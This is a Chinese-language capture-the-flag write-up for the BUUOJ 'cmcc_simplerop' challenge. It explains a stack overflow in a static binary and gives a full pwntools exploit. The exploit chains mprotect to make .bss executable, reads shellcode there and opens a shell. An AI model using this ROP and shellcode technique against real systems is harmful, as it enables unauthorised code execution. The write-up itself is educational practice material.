cmcc_simplerop Writeup
https://buuoj.cn/challenges#cmcc_simplerop
IDA打开附件发现主程序就是简单的栈溢出。
并且是静态链接的程序,查找system函数不存在,但发现了mprotect函数。
mprotect(const void *start, size_t len, int prot)
函数能改变一个内存区的保护属性,指定的内存区间必须包含整个内存页,我做到的题目页大小通常为1K。既若要改变bss
的保护属性,bss
的地址为0x80eaf80
,则起始地址为0x80ea000
,页大小为1000
,权限为7
表示可读可写可执行。
现在的思路是通过mprotect
改变bss
的保护属性,再通过read
写入shellcode,跳转到bss处执行。
以下是exp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import *
context.log_level = 'DEBUG' context.binary = './simplerop'
if sys.argv[1] == 'l': p = process('./simplerop') else: p = remote('node3.buuoj.cn',28957)
elf = ELF('./simplerop')
bss = elf.bss()
print(hex(bss))
mprotect_sym = elf.sym['mprotect'] read_sym = elf.sym['read'] pop3 = 0x08048913
payload = flat(cyclic(32),mprotect_sym,pop3,0x80ea000,0x1000,0x7,read_sym,pop3,0x0,bss+0x50,0x50,bss+0x50)
p.recvuntil(':')
p.send(payload)
sleep(1) p.send(asm(shellcraft.sh())) p.interactive()
|
后话
当我想要在第一个send前调试的时候,每次程序都异常退出。一开始还以为是payload有错,后来去到bss查看的时候发现shellcode并么有输入全。估计是由于调试程序,发送shellcode比read读取德要快,导致没有输入全,注释掉调试就没有异常退出了。